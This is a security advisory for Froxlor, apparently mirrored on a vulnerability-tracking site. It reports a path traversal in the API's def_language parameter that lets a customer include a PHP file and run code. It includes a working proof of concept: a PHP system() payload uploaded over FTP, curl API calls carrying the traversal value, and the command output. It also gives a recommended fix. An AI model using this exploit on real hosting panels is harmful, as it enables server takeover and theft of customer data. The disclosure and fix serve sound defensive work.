GHSA-W59F-67XM-RXX7

Vulnerability from github – Published: 2026-04-16 01:02 – Updated: 2026-04-16 01:02
VLAI?
Summary
Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution
Details

Summary

The Froxlor API endpoint Customers.update (and Admins.update) does not validate the def_language parameter against the list of available language files. An authenticated customer can set def_language to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user.

Details

Root cause: The API and web UI have inconsistent validation for the def_language parameter.

The web UI (customer_index.php:261, admin_index.php:265) correctly validates def_language against Language::getLanguages(), which scans the lng/ directory for actual language files:

// customer_index.php:260-265
$def_language = Validate::validate(Request::post('def_language'), 'default language');
if (isset($languages[$def_language])) {
    Customers::getLocal($userinfo, [
        'id' => $userinfo['customerid'],
        'def_language' => $def_language
    ])->update();

The API (Customers.php:1207, Admins.php:600) only runs Validate::validate() with the default regex /^[^\r\n\t\f\0]*$/D, which permits path traversal sequences:

// Customers.php:1167-1172 (customer branch)
} else {
    // allowed parameters
    $def_language = $this->getParam('def_language', true, $result['def_language']);
    ...
}
// Customers.php:1207 - validation (shared by admin and customer paths)
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);

The tainted value is stored in the panel_customers (or panel_admins) table. On every subsequent request, it is loaded and used in two paths:

API path (ApiCommand.php:218-222):

private function initLang()
{
    Language::setLanguage(Settings::Get('panel.standardlanguage'));
    if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) {
        Language::setLanguage($this->getUserDetail('language'));
    } elseif ($this->getUserDetail('def_language') !== null) {
        Language::setLanguage($this->getUserDetail('def_language')); // No validation
    }
}

Web path (init.php:180-185):

if (CurrentUser::hasSession()) {
    if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {
        Language::setLanguage(CurrentUser::getField('language'));
    } else {
        Language::setLanguage(CurrentUser::getField('def_language')); // No validation
    }
}

The language session field is null for API requests and empty on fresh web logins, so both paths fall through to the unvalidated def_language.

File inclusion (Language.php:89-98):

private static function loadLanguage($iso): array
{
    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
    if (!file_exists($languageFile)) {
        return [];
    }
    $lng = require $languageFile;  // Arbitrary PHP execution

With $iso = '../../../../../var/customers/webs/customer1/evil', the path resolves to /var/customers/webs/customer1/evil.lng.php, escaping the lng/ directory.

PoC

Step 1 — Upload malicious language file via FTP:

Froxlor customers have FTP access to their web directory by default (api_allowed defaults to 1 in the schema).

# Create malicious .lng.php file
echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php

# Upload to customer web directory via FTP
ftp panel.example.com
> put evil.lng.php

The file is now at /var/customers/webs/<loginname>/evil.lng.php.

Step 2 — Set traversal payload via API:

curl -s -X POST https://panel.example.com/api \
  -H 'Authorization: Basic <base64(apikey:apisecret)>' \
  -d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}'

The traversal path is stored in the database. The .lng.php suffix is appended automatically by Language::loadLanguage().

Step 3 — Trigger inclusion on next API call:

curl -s -X POST https://panel.example.com/api \
  -H 'Authorization: Basic <base64(apikey:apisecret)>' \
  -d '{"command":"Customers.get"}'

ApiCommand::initLang() loads def_language from the database and passes it to Language::setLanguage()loadLanguage()require /var/customers/webs/customer1/evil.lng.php.

Step 4 — Verify execution:

cat /tmp/pwned
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

An authenticated customer can execute arbitrary PHP code as the web server user. This enables:

  • Full server compromise: Read lib/userdata.inc.php to obtain database credentials, then access all customer data, admin credentials, and server configuration.
  • Lateral movement: Access other customers' databases, email, and files from the shared hosting environment.
  • Persistent backdoor: Modify Froxlor source files or cron configurations to maintain access.
  • Data exfiltration: Read all hosted databases and email content across the panel.

The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (api_allowed = 1). The .lng.php suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.

Recommended Fix

Validate def_language against the actual language file list in the API endpoints, matching the web UI behavior:

// In Customers.php, replace line 1207:
// $def_language = Validate::validate($def_language, 'default language', '', '', [], true);

// With:
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
if (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) {
    $def_language = Settings::Get('panel.standardlanguage');
}

Apply the same fix in Admins.php at line 600.

Additionally, add a defensive check in Language::loadLanguage() to prevent path traversal:

private static function loadLanguage($iso): array
{
    // Reject path traversal attempts
    if ($iso !== basename($iso) || str_contains($iso, '..')) {
        return [];
    }
    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
    // ...
}
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-98"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T01:02:12Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe Froxlor API endpoint `Customers.update` (and `Admins.update`) does not validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload (e.g., `../../../../../var/customers/webs/customer1/evil`), which is stored in the database. On subsequent requests, `Language::loadLanguage()` constructs a file path using this value and executes it via `require`, achieving arbitrary PHP code execution as the web server user.\n\n## Details\n\n**Root cause:** The API and web UI have inconsistent validation for the `def_language` parameter.\n\nThe **web UI** (`customer_index.php:261`, `admin_index.php:265`) correctly validates `def_language` against `Language::getLanguages()`, which scans the `lng/` directory for actual language files:\n\n```php\n// customer_index.php:260-265\n$def_language = Validate::validate(Request::post(\u0027def_language\u0027), \u0027default language\u0027);\nif (isset($languages[$def_language])) {\n    Customers::getLocal($userinfo, [\n        \u0027id\u0027 =\u003e $userinfo[\u0027customerid\u0027],\n        \u0027def_language\u0027 =\u003e $def_language\n    ])-\u003eupdate();\n```\n\nThe **API** (`Customers.php:1207`, `Admins.php:600`) only runs `Validate::validate()` with the default regex `/^[^\\r\\n\\t\\f\\0]*$/D`, which permits path traversal sequences:\n\n```php\n// Customers.php:1167-1172 (customer branch)\n} else {\n    // allowed parameters\n    $def_language = $this-\u003egetParam(\u0027def_language\u0027, true, $result[\u0027def_language\u0027]);\n    ...\n}\n// Customers.php:1207 - validation (shared by admin and customer paths)\n$def_language = Validate::validate($def_language, \u0027default language\u0027, \u0027\u0027, \u0027\u0027, [], true);\n```\n\nThe tainted value is stored in the `panel_customers` (or `panel_admins`) table. On every subsequent request, it is loaded and used in two paths:\n\n**API path** (`ApiCommand.php:218-222`):\n```php\nprivate function initLang()\n{\n    Language::setLanguage(Settings::Get(\u0027panel.standardlanguage\u0027));\n    if ($this-\u003egetUserDetail(\u0027language\u0027) !== null \u0026\u0026 isset(Language::getLanguages()[$this-\u003egetUserDetail(\u0027language\u0027)])) {\n        Language::setLanguage($this-\u003egetUserDetail(\u0027language\u0027));\n    } elseif ($this-\u003egetUserDetail(\u0027def_language\u0027) !== null) {\n        Language::setLanguage($this-\u003egetUserDetail(\u0027def_language\u0027)); // No validation\n    }\n}\n```\n\n**Web path** (`init.php:180-185`):\n```php\nif (CurrentUser::hasSession()) {\n    if (!empty(CurrentUser::getField(\u0027language\u0027)) \u0026\u0026 isset(Language::getLanguages()[CurrentUser::getField(\u0027language\u0027)])) {\n        Language::setLanguage(CurrentUser::getField(\u0027language\u0027));\n    } else {\n        Language::setLanguage(CurrentUser::getField(\u0027def_language\u0027)); // No validation\n    }\n}\n```\n\nThe `language` session field is `null` for API requests and empty on fresh web logins, so both paths fall through to the unvalidated `def_language`.\n\n**File inclusion** (`Language.php:89-98`):\n```php\nprivate static function loadLanguage($iso): array\n{\n    $languageFile = dirname(__DIR__, 2) . sprintf(\u0027/lng/%s.lng.php\u0027, $iso);\n    if (!file_exists($languageFile)) {\n        return [];\n    }\n    $lng = require $languageFile;  // Arbitrary PHP execution\n```\n\nWith `$iso = \u0027../../../../../var/customers/webs/customer1/evil\u0027`, the path resolves to `/var/customers/webs/customer1/evil.lng.php`, escaping the `lng/` directory.\n\n## PoC\n\n**Step 1 \u2014 Upload malicious language file via FTP:**\n\nFroxlor customers have FTP access to their web directory by default (`api_allowed` defaults to `1` in the schema).\n\n```bash\n# Create malicious .lng.php file\necho \u0027\u003c?php system(\"id \u003e /tmp/pwned\"); return [];\u0027 \u003e evil.lng.php\n\n# Upload to customer web directory via FTP\nftp panel.example.com\n\u003e put evil.lng.php\n```\n\nThe file is now at `/var/customers/webs/\u003cloginname\u003e/evil.lng.php`.\n\n**Step 2 \u2014 Set traversal payload via API:**\n\n```bash\ncurl -s -X POST https://panel.example.com/api \\\n  -H \u0027Authorization: Basic \u003cbase64(apikey:apisecret)\u003e\u0027 \\\n  -d \u0027{\"command\":\"Customers.update\",\"params\":{\"def_language\":\"../../../../../var/customers/webs/customer1/evil\"}}\u0027\n```\n\nThe traversal path is stored in the database. The `.lng.php` suffix is appended automatically by `Language::loadLanguage()`.\n\n**Step 3 \u2014 Trigger inclusion on next API call:**\n\n```bash\ncurl -s -X POST https://panel.example.com/api \\\n  -H \u0027Authorization: Basic \u003cbase64(apikey:apisecret)\u003e\u0027 \\\n  -d \u0027{\"command\":\"Customers.get\"}\u0027\n```\n\n`ApiCommand::initLang()` loads `def_language` from the database and passes it to `Language::setLanguage()` \u2192 `loadLanguage()` \u2192 `require /var/customers/webs/customer1/evil.lng.php`.\n\n**Step 4 \u2014 Verify execution:**\n\n```bash\ncat /tmp/pwned\n# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\nAn authenticated customer can execute arbitrary PHP code as the web server user. This enables:\n\n- **Full server compromise:** Read `lib/userdata.inc.php` to obtain database credentials, then access all customer data, admin credentials, and server configuration.\n- **Lateral movement:** Access other customers\u0027 databases, email, and files from the shared hosting environment.\n- **Persistent backdoor:** Modify Froxlor source files or cron configurations to maintain access.\n- **Data exfiltration:** Read all hosted databases and email content across the panel.\n\nThe attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (`api_allowed` = 1). The `.lng.php` suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.\n\n## Recommended Fix\n\nValidate `def_language` against the actual language file list in the API endpoints, matching the web UI behavior:\n\n```php\n// In Customers.php, replace line 1207:\n// $def_language = Validate::validate($def_language, \u0027default language\u0027, \u0027\u0027, \u0027\u0027, [], true);\n\n// With:\n$def_language = Validate::validate($def_language, \u0027default language\u0027, \u0027\u0027, \u0027\u0027, [], true);\nif (!empty($def_language) \u0026\u0026 !isset(Language::getLanguages()[$def_language])) {\n    $def_language = Settings::Get(\u0027panel.standardlanguage\u0027);\n}\n```\n\nApply the same fix in `Admins.php` at line 600.\n\nAdditionally, add a defensive check in `Language::loadLanguage()` to prevent path traversal:\n\n```php\nprivate static function loadLanguage($iso): array\n{\n    // Reject path traversal attempts\n    if ($iso !== basename($iso) || str_contains($iso, \u0027..\u0027)) {\n        return [];\n    }\n    $languageFile = dirname(__DIR__, 2) . sprintf(\u0027/lng/%s.lng.php\u0027, $iso);\n    // ...\n}\n```",
  "id": "GHSA-w59f-67xm-rxx7",
  "modified": "2026-04-16T01:02:12Z",
  "published": "2026-04-16T01:02:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-w59f-67xm-rxx7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…